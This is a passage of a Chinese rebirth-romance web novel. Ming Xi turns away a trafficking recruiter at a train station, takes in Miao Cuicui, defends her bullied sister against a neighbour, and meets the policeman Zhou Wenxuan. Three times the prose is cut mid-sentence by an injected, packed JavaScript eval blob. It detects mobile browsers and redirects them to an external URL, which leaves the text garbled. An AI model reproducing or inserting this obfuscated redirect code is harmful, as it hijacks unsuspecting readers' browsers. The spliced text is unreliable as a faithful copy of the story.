明月此时还没起床，半撑着身子答应，揉了揉眼睛后整个人就又瘫到床上蒙头睡过去。 明曦拿着东西出门，用钥匙将门锁上，推了推确定锁好后才离开。 今天是苗翠翠来海城的第一天，也是她被骗的第一天。 前世的时候，苗翠翠经常跟她说起自己乘坐的那班火车，说要不是因为自己没赶上原来的车，也不会坐上这班列车，说不定也不会被骗进黑工厂。 在她多次的念叨下，明曦紧紧记住了她的车次和到站时间。 苗翠翠乘坐的火车是十点十二分到海城，现在才七点多，从住的地方到车站坐公交车差不多要一个小时，到那也才八点多。 去的这么早，也是因为明曦怕这一世会发生什么变故，所以提早去等着，抢在等在车站的那些坏人前面找到苗翠翠。 一大早出来，还没吃早饭，肚子饿得叽里咕噜的，明曦从火车站旁的早餐铺买了两个菜包子拿着吃。 两个小时的时间说长不长，说短也不短，在原地等待总避免不了会觉得枯燥，现在天气还是有点冷的，明曦跺跺脚驱散一下下半身的寒气。 就在这活动的间隙，明曦漫无目的的视线突然锁定住几个熟面孔，是黑工厂的人。 这几个人平日里没事就在火车站守着，专门蹲那些外形条件比较好，又是一个人带着行李来海城打工的女性。 明曦看到她们，咬紧了后槽牙，几个深呼吸才按捺住自己，现在还不是时候，还不能和黑工厂正面撞上，此时碰上无异于以卵击石。 前世她有很多事情都没想明白，等到濒死时才算是摸到一些真相的尾巴，既然上天又给了她一世，那她就要好好利用这一世。 先把该救的人都救下，并赚到钱让她们能够在这座城市安身立命，接着才是黑工厂。 但可惜她想要避着黑工厂，这些人却不长眼似的迎上来。 “姑娘，你就一个人啊？” 明曦上下打量了眼前人一眼，闭上眼轻笑一声，你说巧不巧，眼前的妇女正是前世第一个害了她的人。 李大娘有些莫名，见她笑，自己心里也想笑，她刚刚在那边就注意到了这姑娘，盘亮条顺，大眼珠子小脸盘儿，穿着普通，皮肤也不细腻，一看就不是有钱人，又是一个人，这人要是得手了，赚的钱能让她好一段时间不开张。 明曦嘴角翘起，眼底有些轻蔑，随口道：“是啊，一个人，怎么，你也一个人啊？” 李大娘见人上钩继续道：“姑娘你找工作不？我是来招人的，我们是服装厂的，一个月工作两百，还多劳多得！只要你肯吃苦，一个月能赚好几百呢！” “是吗？条件这么好呢？”明曦比她高大半个头，眼皮向下的看着她。 李大娘瞧她这态度，微微有些不满，但想想吊在眼前的钱，压下那些不快继续道：“姑娘叫啥啊，哪儿人啊？第一次来海城吧？你说咱这来这大城市不都是为了找个活儿干吗？我比你大点，你叫我李大娘就行，我也是去年才来的海城，就在我们金装服装厂上班，那待遇可好了，你看你感兴趣不？你要是感兴趣，咱立马就领你到厂子去看看！” 明曦抬头看了眼火车站的时间，八点五十三，有时间。 她收回视线又看向李大娘，点点头：“行啊，那你先说说你们那边是个什么样的，位置在哪啊？” 李大娘一看有门儿，脸上赶紧堆起笑，立马就想伸手去拉明曦。 明曦看着她那双布满皱纹好老茧的粗糙的手，前世就是因为看手觉得这是一个老实本分经常吃苦的人，才压住了心底的那点怀疑，跟着人走。 李大娘拉着人就往外走，边走边道：“这厂子啊，不能光靠我嘴说，这说一千遍一万遍，不如你亲眼去看一遍，走走走，你跟我去瞧瞧，要是有什么不满意的，你立马就能走，我肯定不拦着。” 你是不拦着，有的是人拦着。明曦听到她这话心中腹诽。 刚走没多远，明曦手上就一个使劲捏住李大娘，力道大到让李大娘吃痛。 但不远处就是警务站，李大娘怕引起人家的注意，没敢嚎出声，只苦着脸小声哎呦着，又害怕到手的肥羊会跑，忙干笑道：“姑娘这力气不小啊，是从小做农活吧？” 明曦没回答她，手上力气不减，反问道：“大娘，咱这是去哪啊？” “不是说带你去咱们服装厂看看吗？”李大娘扭着手想挣脱，心中暗骂这死蹄子，手劲儿真是不小，疼死她了，进了厂子看她怎么收拾她！ 明曦见她要松手，唇角下压了压，顺力往前一送，李大娘没提防，整个人都往后仰倒在地，摔了个屁股蹲。 明曦见状挑了挑眉，虽说不和黑工厂对上，但不妨碍她收点利息让自己痛快痛快。 李大娘迅速从地上爬起来，冲到明曦面前，她算是看出来了，这小贱人就没打算跟她走！“你！” 明曦往前走一步俯视她，故意问：“我怎么了？大娘，你都这么大人了，怎么还站不稳啊，老人可不经摔，容易把自己摔散架的。”从上往下地看自己讨厌的人真的很爽，她真的很喜欢自己高个子大力气，这样在面对敌人时，即使打不过，也能虚张声势一把。 她决定了，今天回去，不能光自己锻炼，得拉着明月和苗翠翠一起练，把自己练得强壮起来，谁都不怕。 李大娘猥琐的脑袋快速朝旁边望了望，见这边看热闹的人越聚越多，生怕会把警察给引来，连忙连滚带爬地跑走，走之前还恶狠狠地放话：“小贱人，你给我等着！” 明曦看着她滑稽可笑的背影，脸上终于是露出了一个畅快的笑意。 她又抬头看了眼时间，现在是九点零八分。 明曦心情大好地朝站台走去，还有一个小时苗翠翠就来了。 那个有时候傲娇有时候嘴臭，但却会关心她有没有吃饱的女人马上就要来了。 时间一分一秒过去，伴随着一声火车的轰鸣，开始有人涌出。 在这些人里，明曦一眼就看到了苗翠翠，拎着一个蛇皮袋，衣服上都是补丁，但眼神却充满了好奇，四下张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136060|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望打量，她在看这个与老家截然不同的新世界。 明曦越是意识到这些就越心痛。 她还是喜欢苗翠翠这个名字，而不是“相思”，她不喜欢那些猪头大耳的人叫她“相思”的样子。 翠翠，翠翠，明曦舌尖抵着牙齿，轻轻喊了两声，真好，是充满了希望的名字啊。 等人快出来时，明曦赶紧过去，演技拙劣地搭话：“姑娘，你是不是要找工作？” 熟悉的套路在耳边响起，明曦自己都有些忍不住想笑。 但谁让这个还没见过世面的小土妞就吃这一套呢！ 明曦余光注意到李大娘的那几个同事，她们本来是想过来的，但刚刚因为亲眼看到李大娘吃瘪，便踌躇着，最终还是放弃目标。 苗翠翠没想到自己才刚来就有人问她找不找工作，怪不得村里人说大城市机会多呢！ 她连忙笑起来，把蛇皮袋放在脚边，操-着还带乡音的普通话道：“找，找。”说完腼腆地笑起来。 明曦心里轻轻叹气，真是一点防备心都没有，不过也是，都是农村出来的没见过什么世面，也不知道外面骗人的招数会这么多。 明曦把带来的证件摊到她面前给她看，边展示边介绍说：“我叫明曦，这是我身份证，我现在是开了一个蛋糕摊，有点忙不过来，听别人说的来火车站这边能招到人，我就来试试。” 苗翠翠本来还半信半疑的，见她如此真诚，便一点怀疑都没有了，连忙说：“我行的我行的，我能吃苦，老板你就招我吧。” “行，那我也不找了，就你了。”明曦伸手想要帮她一块儿拿她的蛇皮袋，被苗翠翠拦着，讪笑说，“我自己就行，我力气大，能拿动。” 明曦怕她不自在，没有多说什么，点了点头领着人往前走，“那我先跟你说一下要干什么。” “好，好。” “我一般是下午三点多出摊，三点前得把所有蛋糕都做好，你的工作就是帮我一块儿，工资是两百一个月，包住。”她的蛋糕摊一个月的净利润差不多在一千块钱左右，刨开房租吃用，完全负担得起两百块的员工工资。 “住在哪”这个问题，明曦来之前就一直在思考，是让她单独住还是住一起，最后决定的是买一张行军床，睡觉的时候支在床尾，白天再收起来。 都是苦日子过惯了的人，而且都是女孩子，暂时先挤一挤，等再攒点钱就可以换个大的房子。 现在海城买房子送户口，明曦想把户口安在海城，这样以后明月上学也更加方便。 “你可以跟我学做蛋糕，还有其它的一些小吃，等后面你也可以自己单独去摆摊，比给我打工赚的多。” 给自己打工只是刚开始的一个过渡，明曦知道以翠翠的能耐和野心，她要是自己单干，生意也会越做越红火的。 苗翠翠没想到一来就遇到这么好的老板，在她们那边想要学手艺都是要拜师傅的，就这还得先熬好几年，才能正式学上手艺。 她瞪大眼睛，连忙道谢，又保证说：“我肯定好好干，绝对不偷懒！” 明曦瞧着她这乖乖巧巧的样子，简直都有点不适应，前世她除了刚来那会儿，什么时候还这么好说话过？ 16. 相见 明月也没睡多久，明曦走后没多久就起来了，先把楼下早餐铺吃完早饭，回到家撸起袖子想要做个大扫除。 这段时间姐姐也很忙，每天回来都比较晚，洗洗就睡了。 正好今天不去摆摊，她可以趁着这时候把家里上上下下都打扫一遍。 总共也就俩房间，收拾起来也不会多麻烦，明月先整理充当卧室、书房、餐厅的大房间，最后再仔仔细细地清洗厨房，将厨房里的锅碗瓢盆还有明曦做蛋糕用的工具一一清洗一遍。 大扫除免不了就要倒垃圾，明月本来是想先把扫出来的垃圾放到门口，最后再统一扔下去，但又想到住在隔壁的邻居不是个好相与的，往日里就因为她们摆摊回来的晚而经常对她们眼睛不是眼睛鼻子不是鼻子的。 现在明曦不在，她怕把垃圾堆在门口又惹得邻居生气，多一事不如少一事，她只好整理出一袋就扔一袋下去。 没想到她想着不多事，邻居却不是这样想。 住了这么长时间，她就知道隔壁人家姓关，女主人叫刘红霞五口人，一对中年夫妻，一个老人还有俩儿子。 明月刚把垃圾扔进垃圾桶拍拍手准备上楼，就被刘红霞喊住。 “哎哎！小姑娘，你这大早上的一趟一趟的跑什么呀？真是吵死了哎！”刘红霞留着一头时髦的红色卷发，皮肤很白，眼角额头有些细纹，因为年龄的增长，脸上的肉消失，而薄薄的挂着一层皮，配上凌厉的眼神，让人更觉刻薄。 明月一时有些怵意，腼腆笑了笑，就想经过她身边上楼。 没想到刘红霞竟没有放过她的意思，皱着泛青的细眉，一把拉住她，把她拉停后，又嫌弃地甩开。 “这么没规矩的啊，大人在跟你说话呢，你听不见的啊？” 她语气咄咄，明月被吓住，直愣愣地看着她，不明白怎么自己只是下来倒个垃圾，就要被人这样说话。 “真是没教养，你们姊妹俩这也搬来有一段时间了，每天都搞到那么晚才回来，扰不扰民啊？”刘红霞抱臂看着她，头微微后仰，眼神向下撇。 明月也是从小农村里撒泼打滚长大的，被人骂了总不能就站在那里让人骂吧。 “我们每天回来动作都很轻的，还没你家的电视声音大呢！” 刘红霞也没想到这小丫头这么牙尖嘴利，还敢跟她顶嘴，在她意识里，这种乡下来的野丫头就应该老老实实地让她出出气才对。 她一挑眉，声音尖细：“说到电视，别以为我不知道，你们姐俩天天趴在窗户上偷看我们家电视，真是没见识的乡下人，占便宜没够的！” 明月都没想到眼前这人这么大人了，还这么不要脸，她们天天忙上学忙摆摊，哪有功夫天天去看她家电视？她也承认，以前的确是在吃饭的看过，但自从看的时候被刘红霞从窗户那里翻了个白眼，又把窗帘一把拉上之后，就再也没看过了。 明月被她气得涨红了脸，余光已经看到楼上有人好奇地探头往下看了。 她们姐妹俩满打满算才刚搬过来一个多月，跟楼里的人都不太熟悉呢，也不知道怎么的就惹得了这位邻居的不快。 其实原因也很简单，就是单纯地看不起，有房子的看不起租房的，城里的看不起乡下的。 但明月不清楚，来到海城后，她接触到的人大多都很和善，不管是学校的老师同学，还是小广场的那些摊位上的叔叔阿姨，从来都没有这样说过她。 刘红霞见明月被自己教训得哑口无言，眼皮向上翻，继续得意的喋喋不休起来。 楼上也有看不惯她的人家，出声制止道：“行了，红霞，人家一个小孩子，你稍微说两句得了。”但毕竟是住了几十年的老邻居了，也不好为了外人而多说什么。 谁想到这位刘红霞说还好，一说更是没完没了起来，她拧着细眉，嗓音更是刺耳，“我乐意！这天天都大半夜才回来，谁知道是不是做什么见不得人的事情去了？她姐姐长得可不是个丑样子。” “我们才没有做见不得人的事，我们在大学城的小广场摆摊卖蛋糕！”明月忍着怒意吼道，说她她尚且还能忍受，说到姐姐那是绝对不能容忍的。 今天周日，因为儿子今天不上班，舒绣芳一早起来就去菜市场，想着买点中午做顿丰盛的午饭，刚买完菜回来就看到这一幕。 她们家也在这一片住了几十年了，这边的人也都认识，甚至有不少人还都是她们铭达服装厂的员工。 正在争吵的两人舒绣芳也认识，一个是她们厂的老人了，在她们厂子里也是出了名的眼高手低不好相处，一个是小广场那边卖蛋糕的老板的妹妹，她见过好几次，每次都乖乖的坐在那边写作业。 若只是普通的争吵舒绣芳也不会过问，但听着这刘红霞越说越离谱，她忍不住过去拦着。 “这是干什么呢？有这样说话的吗？” 刘红霞也没想到这时候她会过来，毕竟是厂里的领导，也不好再多说什么，只好讪讪道：“没什么，我们这邻居之间的一点矛盾。” 明月本来孤立无援的还能继续忍，这一下见到一个熟人，又在帮着自己，眼泪瞬间就止不住了。 舒绣芳一见孩子可怜巴巴，哭得泪眼婆娑的，瞬间更是火大，“什么矛盾，你要冲着人家一个小姑娘说这么难听的话？”就她刚才听到的那些话哪怕是对着大人说都够难缠的了，更别说是一个小孩，而且这姐俩她虽然了解的不多，但就从她看到的来说，起码是努力生活的。 她上前把明月拉到怀里，从口袋里掏出手帕给她擦眼泪，柔声哄着说：“没事没事，阿姨知道你肯定很委屈的，不哭了昂，你姐姐呢？” 明月哽咽着回答：“她有事出、出去了。” 舒绣芳一听这话就知道刘红霞就是仗着大人不在家，才这么肆无忌惮的对着一个小孩子发脾气。 “那你先跟阿姨去阿姨家好不好？等你姐姐回来我再把你送回来。”舒绣芳瞪了刘红霞一眼，她现在是不敢让小孩一个人待在这边来，不然等她一走，还不知道这个刘红霞要怎么着呢。 “阿姨家就住在那边，那个小楼就是阿姨的家，阿姨不是坏人，他们都认识阿姨的。”她伸手指着小楼的方向，又指了指楼上那些看热闹的人。 明月从朦胧泪水中顺着她的手指看，点了点头。 刘红霞这时候是知道怕了，但又不好说什么，支支吾吾半天没憋出个屁来。 舒绣芳牵着明月往回走，声音温温柔柔的，“阿姨还不知道你叫什么呢？” “我叫明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136971|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月，月亮的月。” “嗯，这名字真好听。” “姐姐给我取的。” …… 明曦这边领着苗翠翠坐公交车回家。 “我家还有个妹妹，叫明月，在家附近的小学上五年级，你待会儿见到她就知道了。” 正说着，明曦从口袋里掏出钥匙把门打开，还没进门就发现房子变得焕然一新。 她轻轻笑起来，扭头对苗翠翠道：“我早上出门的时候，家里还有点乱呢，看来明月今天上午大扫除了。” 两人拎着东西进屋，房间不大，屋里没人，明曦微微皱眉，不知道人去哪儿了，她不由得有些心焦，明月一向都很懂事，她出门前跟她说不要乱跑，那她肯定不会乱跑的。 “我去公共厕所找一下，你先随便坐吧。” “要不要我跟你一起去？”苗翠翠问。 “没事，不用，离得不远，我自己去就行。” 明曦速度加快，厕所那边没见人，商店小店都没人，她开始有些惴惴不安，连忙上楼，一步就是两三个台阶，想着也许是岔开了，明月此时已经到家了。 苗翠翠听到声音，出来看到有些气喘的明曦，二人同时开口。 “找到人了吗？” “人回来了吗？” 话音刚落地，二人都觉不妙，明曦的心更是砰砰直跳，脸色瞬间变得惨白。 “我问问，问问邻居。” 苗翠翠连忙用手撑着她安慰道：“没事的没事的，可能就是觉得无聊下去走走，一会儿就回来了。” 明曦这时候却听不进任何话，明月是她的命根子，她不能再失去明月了。 她出去敲响隔壁的门，看着开门的人问：“刘阿姨，你看见我妹妹了吗？” “在、在厂长家里呢，就那边，那栋小楼。”话一说完，门就被砰的关上。 情急之下，明曦没注意刘红霞的不自在之处，只以为这位邻居是因为不喜欢她所以不想多说。 问出明月在哪后，明曦赶紧往那边去，她也在这边住了这么长时间了，知道刘红霞说的厂长是旁边铭达服装厂的，好像是姓周，据说人不错。 不过不管这厂长人错不错，明月怎么会跑到那边去？ 明曦一路上都没敢停，苗翠翠跟在后面简直要跟不上她。 到人家家门口后，明曦调整了一下呼吸，按响了旁边的门铃。 “叮咚~” “谁啊？”一道磁性的男性声音从门里传出来，接着门被从里拉开。 明曦下意识抬头，和来人撞上眼…… 是周文宣…… 周文宣也没想到自己一打开门，映入眼帘的会是之前那个巷口卖蛋糕的姑娘。 两个人都像是被点了定穴一样呆站在门口。 苗翠翠终于是从后面追了上来，弯着腰撑着腿，喘着粗气问：“找到了吗？” 这才算是打破了僵局，两个人都像是如梦初醒般恍恍惚惚，周文宣不自在的轻咳了声，眼神飘忽问道：“你们找谁？”却感觉自己耳朵和面颊在发烫，他觉得自己现在看上去肯定特别滑稽。 “姐？”明月从里面钻出来，拍了下脑门说，“对不起，我看电视忘记时间了……” 17. 换衣服 这一个多月过去，周文宣每天过得都很充足，看不完的卷宗，写不完的记录，说实话，在这么忙的情况下，他是没有时间每天去想一个只见过一次面连名字都不知道的陌生女孩的，也许再过段时日，他就会彻彻底底将她忘记。 他怎么也没想到，有一天会在打开自己家门时，那个女孩就这样安安静静地站在眼前，唤起他尘封的记忆。 明曦也没想到，周厂长家就是周文宣家，她来海城这么长时间了，若是想见他，完全可以见到他，她知道他在哪，但她从来没有主动去找过他，除了送蛋糕那次，但那次没见到人，她好像反而还如释重负。 究其原因是因为她不敢，她不知道该怎么去面对他，上一世没来得及说出口的爱意，这一世仍不知道该如何说。 舒绣芳听见门口动静，知道是明曦来接明月，赶紧过来拉着人进屋，带着歉意说：“瞧我，本来说中午前把明月送回去的，结果我这做午饭呢，做着做着给忘记了。”边说话边示意周文宣去倒水。 “没关系。”明曦整个人还处在刚才见到周文宣的震惊之中。 缓过神儿后，明曦才想起来问明月：“你怎么来这边了？”她知道若非事出有因，明月是不会做这种会让她担心的事情的。 明月看到现在的电视，早不把早上受的委屈当回事儿了，就三言两语的把事情原委说了下。 虽然明月说得轻巧，明曦却是火冒三丈，这个刘红霞！她就出去了这么一上午，可让她逮着机会发脾气了！ 一想到明月受欺负的那个场面，明曦立刻就想拐回去和那个刘红霞大战一场！ 舒绣芳看她的神色就知道不对，现在人在气头上，又年轻容易冲动，别做出什么错事来，她连忙道：“现在十二点了，你们估计还没做饭呢，要不就留阿姨家吃吧，我今天炒了好几个菜，就我跟我儿子也吃不完。”说完推了推周文宣。 周文宣接收到指令，赶紧搭腔说：“是，是，我饭量比较小，大家留下一起吃，一起吃。”语无伦次地说完后自己都忍不住又红了脸，说得这都是什么啊，什么他饭量小啊。 舒绣芳奇怪地瞧他一眼，今天这是怎么回事？结巴了？ 明曦明白他们的好意，不好推脱，便答应下来，客气地笑了笑：“那就麻烦阿姨了。” “麻烦什么，马上就开饭了，你们先再看会儿电视。”舒绣芳笑起来，起身又去了厨房。 本来也不是正经上门做客，她们连礼都没提，哪好意思让人家在厨房忙活，自己厚着脸皮在客厅看电视的道理？明月示意了苗翠翠一眼，两人立马跟上去，道：“阿姨，我给您打下手。” “不用不用，你们看电视就好，大菜都做完了，还剩几个小菜，待会儿我儿子帮帮我就行。”说着就扭头找周文宣，左瞧又望的没看见人。 明曦笑起来，把袖子撸上去：“我干活干惯了的，也闲不下来，正好跟您聊聊天。” 舒绣芳只好答应下来，心里却在骂周文宣不知道跑哪去了。 此时的周文宣正站在房间里的镜子前上下左右地打量。 他本来今天也不打算见人，所以在家就穿了身舒服的家居服，谁能料到明曦会来家里。 她们刚刚在聊天的时候，他就拽着自己睡衣的衣角，觉得浑身刺挠，于是找了个空子就赶紧回房间想换身得体的衣服。 但穿什么好呢？周文宣看着刚刚披在身上的黑色大衣，自言自语道：“这有点夸张了吧，谁在家还穿这种不易于行动的大衣？不行不行。” 他赶紧将衣服脱下，重新到衣柜前挑选，这件不行，这件也不行…… 周文宣苦恼地挠头，床上此时已经被不合格的衣服堆满了，总不能穿着警服出去吧。 一番折腾后，他终于是收拾好了，满意地在镜子前转，衬衫毛衣，再配一条休闲的牛仔裤，最后出门前还随后捋了捋头发，让它看起来更顺滑自然。 出来时更碰上几人把饭菜端上桌。 舒绣芳看了他好几眼，好奇地问：“怎么，你下午要出去吗？” 周文宣注意到端着菜马上就要从厨房出来，不自在地揉了揉耳垂道：“没有啊。” 舒绣芳继续问：“那你怎么还换了身衣服，我还以为你要出去呢，不过这身倒是挺好看的，平时没见你怎么穿过。” 周文宣感觉自己底裤都被他妈揭开了，脸上火辣辣的，他不自然地偷瞄了眼她后面的明曦，上前打岔说：“妈，我饿了，咱开饭吧。” 舒绣芳果然被转移了注意力，道：“哎好，饭都做好了，拿筷子过来就能吃了。” 明曦从看到他换衣服的第一眼，就暗暗在笑，这种搭配她前世的时候就见他穿了好多回，她那时候没在意，现在看来，原来是小周同志在孔雀展翅呢。 不过不可否认的是，周文宣这一身的确很好看，或者说他怎么穿都不会差，毕竟身形条件摆在那，又有脸蛋撑着。 明曦见到他这样子，觉得两人之间好像并没有距离，哪怕重来一生，周文宣对她还是和前世一样，只是年轻的他更加鲜活，更加明媚，没了那份历经劫难的苦涩。 两个他她都喜欢，只是身为爱人，她由心地希望他这辈子都不要再那么痛苦了。 吃饭时，周文宣整个人都做得板正，一丝不苟有条不紊的，舒绣芳瞧着都觉得奇怪得很，她忍了又忍，最后实在是没忍住问：“我记得你以前吃饭很痛快的啊，怎么今天跟长了口腔溃疡似的。” 此话一出，明曦抬眸扫了一眼周文宣，没忍住笑出了声。 周文宣听到这话一口饭差点没呛进气道里，耳朵瞬间红得要滴血，他也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149917|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到，舒女士今天说话怎么这么直接！ 他在剧烈咳嗽中，做贼似的悄悄看了一眼明曦，看到她扬起的唇角，充满笑意的双眼后，又觉得这个脸丢得好像还算值得。 就在此时，外面门铃又被敲响。 周文宣立马自告奋勇地站起来过去开门，他才不会承认自己是因为不好意思想要逃离饭桌才去的。 舒绣芳指着一盘虾对几人道：“尝尝阿姨这虾烧得怎么样。”话刚说完，就听见门口周文宣喊了声“二叔”。 明曦注意到舒绣芳在听到这一声后，瞬间变了脸色，像是不那么欢迎。 紧接着就看见周文宣领了一个大腹便便的中年男子进来，男人笑得温和，进门就向舒绣坊问好：“嫂子吃饭呢？” 舒绣芳疏离地笑笑答应。 周二叔也不在乎嫂子的态度，视线转向明曦几人，点了点头笑道：“家里来客人啦？” 周文宣知道他妈不喜欢他二叔，接话回答：“对，住那边的邻居。” 周二叔也就是随口招呼一声，听到回答也不怎么在意，探头在房间里看了眼又问：“大哥呢？” “又找你大哥干嘛？”舒绣芳眉头微微皱起，问道。 “没什么，有点事想找大哥商量商量。”周二叔态度依旧好得让人诧异。 舒绣芳眉间的纹路却逐渐加深，语气也变得有些不耐烦，“你大哥不在家，估计在厂里，你去厂里找他吧。” 周二叔笑了笑答应，走前又跟明曦几人点了点头。 周文宣将人送走后回来道：“妈，你怎么老是不喜欢二叔？” 舒绣芳冲他翻了个白眼，没搭理他，转而招呼明曦几人吃菜。 明曦从刚才周二叔一进门就觉得有点眼熟，但又怎么都想不起来，索性不再去想，想着也许是因为毕竟是周文宣二叔，可能是跟周文宣长得有些相像，才会让她觉得眼熟。 前世认识周文宣的时候，他一直都是一个人，他几乎没有跟她说过自己的家庭，她甚至都不知道他父母叫什么，是做什么的。 所以这一世她才没有认出舒绣芳。 周文宣知道舒绣芳不想多说他二叔，也就识趣的没有再提，继续端肩挺腰地吃饭。 吃完饭后，周文宣主动承担洗碗擦桌子的饭后家务，让舒绣芳带明曦几人到沙发上聊天看电视。 天色渐晚，回去还有事要忙，明曦带着明月和翠翠告辞。 舒绣芳也知道她们忙，也就没有久留，道：“行，那让文宣送你们回去吧，回去别跟刘红霞一般见识。”平白被人辱骂，不让明曦出出气是不可能的，她让周文宣跟着也是想让他去控控场面，别出了什么乱子，不说其他的，他毕竟还有个警察的身份，总能震住那些人。 明曦没有拒绝她的好意，笑着点头应下。 18. 吵架 在家里时周文宣其实没怎么跟明曦说过话，不方便说也不知道该说些什么。 这走在路上，他想引个话题出来，但半晌都不知道怎么说，最后还是明曦开启的聊天话题。 “听阿姨说你是警察，是海西公安局吗？”明曦揣着明白当糊涂，笑吟吟问道。 “是是。”她会主动说话，周文宣简直受宠若惊，连忙答应。 明曦微微一笑，随意道：“真巧，我还认识两个你们单位的人，不知道你熟不熟悉。” “都是一个单位的，肯定都是认识的，是谁呀，我看看我熟不熟悉。” “是刑警大队的江律心队长和徐茗瑞公安。” 听见这两个熟悉的名字，周文宣立马睁大眼，回说：“这么巧！我就是刑警大队的，江队就是我队长，徐茗瑞跟我是一个学校毕业的，都被分配到这个公安局。” 明曦故作惊讶地看着他：“是吗？那我之前去你们单位好像都没见过你。” “你什么时候去的？”周文宣赶忙问。 明曦微微皱眉，沉思起来：“不太记得了，记得有一次我还给你们送了蛋糕过去，不知道你有没有吃到。” “蛋糕？”周文宣的脑海中立马飘过某天早上徐茗瑞炫耀的表情，开始暗自懊恼起来。 “对，我现在在大学城那边的小广场摆摊卖蛋糕，你要是感兴趣的话可以去尝尝看。”她记得他很喜甜。 “好，我肯定会去的。” 明曦看着他像是发毒誓一样的表情笑起来，道：“你正经的好像是我拿刀逼着你去一样。” 周文宣见她这样说，连忙摆手：“没有没有，我不是这个意思……” 明曦笑了笑，收起逗弄他的坏心思，转身上楼。 她今天要跟刘红霞好好算算帐，以前她对着她各种嫌弃厌烦，她都可以不计较，但她千不该万不该趁着她不在的时候单独找上明月，这不是一个四十多岁的成年人应该做的事。 明曦毫不客气地拍响刘红霞家的铁门，“砰砰砰”的声音在楼道里回响，引出不少人的好奇。 刘红霞看都要天黑了也不见隔壁姐妹俩来找她，以为这件事就算过去了，甚至还在家洋洋得意地跟她丈夫吐槽：“乡下人就是乡下人，胆子小得很，不敢惹事的，想必这次她们是记住教训了，以后看她们还敢不敢这么吵。” 没想到话刚说完没多久，她口中的乡下人就找上门来了。 “谁啊谁啊，把门拍的这么吵，还有没有点素质了？”刘红霞拢了拢身上的羊毛披肩，趿着小羊皮拖鞋去开门。 “你找……”尾音在看到明曦的刹那间被咽下。 “就找你。”明曦语气冷淡，瞧不出愤怒的样子。 “找我干嘛？”刘红霞打心里料定她不敢把事情闹大，毕竟她是租户，闹大了对她可没什么好处，说不定还得匆匆忙忙地去找新房子。 明曦看着她眼中的不善，一抹轻笑从唇边溢出，问：“你觉得我找你干嘛？我倒要问问你，你这么大年纪了，还为老不尊，你家里人会不会为你感到羞耻？” 这一家子都不是什么好货，出头的刘红霞不怎么样，也不能忽略掉她背后的那些男人们，她的公公、丈夫和两个儿子。 刚刚回来时，明曦就观察到楼梯口停着他们家的二八大杠，说明家里是有男人在的，她们在这门口争执的时间也不算短了，却没有一个人过来，任凭刘红霞在这逞强，窝囊地躲在屋里事不关己。 刘红霞听到这话是想骂回去的，但视线一瞥看到她身后的周文宣，谁不知道周文宣是厂长的儿子，她再不懂什么人情世故，也知道轻易不得罪领导，硬是把话咽了回去，眼皮一翻就想把门关上。 明曦早预料到她的动作，伸出手把门死死推在旁边，让她想关也关不上。 她动作麻利带着狠劲，后面的三人看着她，眼神中都带着些许惊讶，明月更是崇拜得不行，姐姐这是在给她出头，她叉着腰往旁边一站，恶狠狠地瞪着刘红霞。 明曦注意到她的动作，好险没笑出声来，继续对着刘红霞道：“你上午的时候不是很能说吗？一会儿明嘲说我们怎么怎么吵到你，一会儿暗讽说我干的不是正经勾当，怎么这会儿反倒成哑巴了？” 周文宣听到她的话，才清楚刘红霞说的话这么过分，而且还是对着一个小女孩。 “你！你……”刘红霞“你”了半天没憋出一个屁来，反倒把自己憋红了脸。 楼梯口已经开始有人探头看热闹了。 明曦在此时拍了拍手，大声道：“大家都看过来，来看看咱们这个好邻居啊，只会在背后编排别人，你那么能说，我这找上了门任你说，你怎么又不肯说了呢？”说着微微俯身，颇具压迫性地倒向她。 刘红霞被她直勾勾的眼神吓到，汗毛耸立，想起厂子里不知道是谁说的，说他们这些外地人手段都很狠的，而且对方这么年轻，手上一把子力气，真要硬干吃亏的还是她。 明曦见把人吓住，也见好就收，别真的把人吓出个好歹来，她还想好好地在海城呆着呢，她收回堵门的脚说：“你好好跟我妹妹道个歉，这个事儿咱就算是过了，只要你以后别犯贱，我也不会找你茬。” 刘红霞目光转移到旁边的明月身上，支吾了声：“对不起。”跟蝇子哼似的。 明曦皱着眉看着她。 不用她多说，刘红霞就知道她是觉得自己声音小了，抿了抿唇后，加大音量道：“阿姨向你道歉，是阿姨错了，阿姨以后不会了。” 明曦这才满意地看向明月问：“你要原谅她吗？不原谅也没关系，没有人规定道歉了就必须得原谅。” 明月看着明曦，心中暖意肆意，轻轻说：“那我不原谅。” “好。”明曦点头，又冲着楼道里看热闹的人说，“没事了没事了，大家都散了吧。” 身后的铁门被瞬间关上，变得纹丝 